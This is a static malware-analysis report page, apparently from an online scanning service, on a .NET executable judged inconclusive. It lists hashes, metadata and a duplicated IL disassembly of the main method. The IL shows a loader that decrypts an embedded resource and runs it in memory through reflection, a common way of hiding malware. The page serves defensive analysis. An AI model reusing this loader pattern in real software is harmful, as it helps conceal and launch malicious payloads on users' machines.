Suspicious
Suspect

a3db22547419f693905d3dd045ee9f84

PE Executable
MD5: a3db22547419f693905d3dd045ee9f84
Size: 342.02 KB
application/x-dosexec

This sample is a 334 KB PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 3 embedded or derived files. It matches 6 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
9a7fdfd933725c6cc3345da81b6ee2d6903e225f961aa18efa5b5a9447f4b015
MD5
a3db22547419f693905d3dd045ee9f84
Verdict
Inconclusive
File type
PE Executable · 334 KB

Cite this report: https://app.malva.re/sha256/9a7fdfd933725c6cc3345da81b6ee2d6903e225f961aa18efa5b5a9447f4b015

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
342.02 KB · 342,016 B
First seen
2026-07-27 15:45 · 3 months ago
Last seen
2026-07-27 15:45 · 3 months ago
Last analysis
2026-07-27 15:45 · 3 months ago
Hashes
MD5 a3db22547419f693905d3dd045ee9f84 Sha1 30bc73c6672e6c46d21086a04762ce4170fd4e99 Sha256 9a7fdfd933725c6cc3345da81b6ee2d6903e225f961aa18efa5b5a9447f4b015 Sha384 2055fa9437b1c3fa2d70e14e001179c2cff74b205b25fd8cab4c687f2e38ff8f3c999859f11d18852dfae8fd73976e7e Sha512 b26ab83f217240825adc241bba3cda9ec5532d7aee6ba73fbd3ce0696a643c7aee10a7b2e2bff0c388300c1b251ef69e9f222e4d987c306856fac4c6eeb7dd53 SSDeep 6144:Q7D28gMOVSheJGlkR7/E03JClJXI9QzeLWsw1BhaaV7PaCSfA9W6JD2J:Q7D2okagZ603oJiQzcWb1rvV7b3 TLSH D674230BAF946018E72D0D3F61BA429C05F4DE5F416BF5C77ACC627A1A3628D0253AED
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very low

4 files
EXEa3db22547419f693905d3dd045ee9f84
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BIN.Net Resources
BINData
BINPainting
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name Value
Module Name
Actor.Toe
Full Name
Actor.Toe
EntryPoint
System.Int32 Actor.Producer::Participant(System.String[])
Scope Name
Actor.Toe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Actor
Assembly Version
19.4.4.8
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
60
Main Method
System.Int32 Actor.Producer::Participant(System.String[])
Main IL Instruction Count
113
Main IL 
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldstr aDta
ldc.i4 149
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
brtrue.s IL_002E: ldc.i4 512
ldc.i4.1 <null>
stloc.s V_7
leave IL_0126: ldloc.s V_7
ldc.i4 512
newarr System.Byte
stloc.s V_6
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
br.s IL_0068: ldloc.s V_8
ldloc.s V_4
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_8
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
bgt.s IL_004C: ldloc.s V_4
ldloc.s V_4
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
ldsfld System.Byte Actor.Producer::Considerable
call System.Byte[] Whole.Shine.Deliver::School(System.Byte[],System.Byte)
call System.Byte[] Actor.Super::Knowledge(System.Byte[])
stloc.0 <null>
leave.s IL_0092: ldtoken System.Reflection.Assembly
ldloc.s V_4
brfalse.s IL_0091: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
ldstr aoLd
ldc.i4 150
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
call System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type System.Object::GetType()
ldstr yrintEtPon
ldc.i4.s 37
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.Reflection.PropertyInfo System.Type::GetProperty(System.String)
ldloc.1 <null>
ldnull <null>
callvirt System.Object System.Reflection.PropertyInfo::GetValue(System.Object,System.Object[])
castclass System.Reflection.MethodInfo
dup <null>
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
stloc.2 <null>
ldnull <null>
ldloc.2 <null>
ldlen <null>
brfalse.s IL_010F: ldnull
ldc.i4.1 <null>
newarr System.String[]
dup <null>
ldc.i4.0 <null>
ldarg.0 <null>
stelem.ref <null>
br.s IL_0110: stloc.s V_9
ldnull <null>
stloc.s V_9
ldloc.s V_9
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_0124: ldc.i4.0
ldloc.3 <null>
unbox.any System.Int32
ret <null>
ldc.i4.0 <null>
ret <null>
ldloc.s V_7
ret <null>
Module Name
Actor.Toe
Full Name
Actor.Toe
EntryPoint
System.Int32 Actor.Producer::Participant(System.String[])
Scope Name
Actor.Toe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Actor
Assembly Version
19.4.4.8
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
60
Main Method
System.Int32 Actor.Producer::Participant(System.String[])
Main IL Instruction Count
113
Main IL 
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldstr aDta
ldc.i4 149
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
brtrue.s IL_002E: ldc.i4 512
ldc.i4.1 <null>
stloc.s V_7
leave IL_0126: ldloc.s V_7
ldc.i4 512
newarr System.Byte
stloc.s V_6
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
br.s IL_0068: ldloc.s V_8
ldloc.s V_4
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_8
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
bgt.s IL_004C: ldloc.s V_4
ldloc.s V_4
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
ldsfld System.Byte Actor.Producer::Considerable
call System.Byte[] Whole.Shine.Deliver::School(System.Byte[],System.Byte)
call System.Byte[] Actor.Super::Knowledge(System.Byte[])
stloc.0 <null>
leave.s IL_0092: ldtoken System.Reflection.Assembly
ldloc.s V_4
brfalse.s IL_0091: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
ldstr aoLd
ldc.i4 150
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
call System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type System.Object::GetType()
ldstr yrintEtPon
ldc.i4.s 37
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.Reflection.PropertyInfo System.Type::GetProperty(System.String)
ldloc.1 <null>
ldnull <null>
callvirt System.Object System.Reflection.PropertyInfo::GetValue(System.Object,System.Object[])
castclass System.Reflection.MethodInfo
dup <null>
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
stloc.2 <null>
ldnull <null>
ldloc.2 <null>
ldlen <null>
brfalse.s IL_010F: ldnull
ldc.i4.1 <null>
newarr System.String[]
dup <null>
ldc.i4.0 <null>
ldarg.0 <null>
stelem.ref <null>
br.s IL_0110: stloc.s V_9
ldnull <null>
stloc.s V_9
ldloc.s V_9
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_0124: ldc.i4.0
ldloc.3 <null>
unbox.any System.Int32
ret <null>
ldc.i4.0 <null>
ret <null>
ldloc.s V_7
ret <null>

4 files
EXEa3db22547419f693905d3dd045ee9f84
Structure
No malware configuration was found at this point.
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙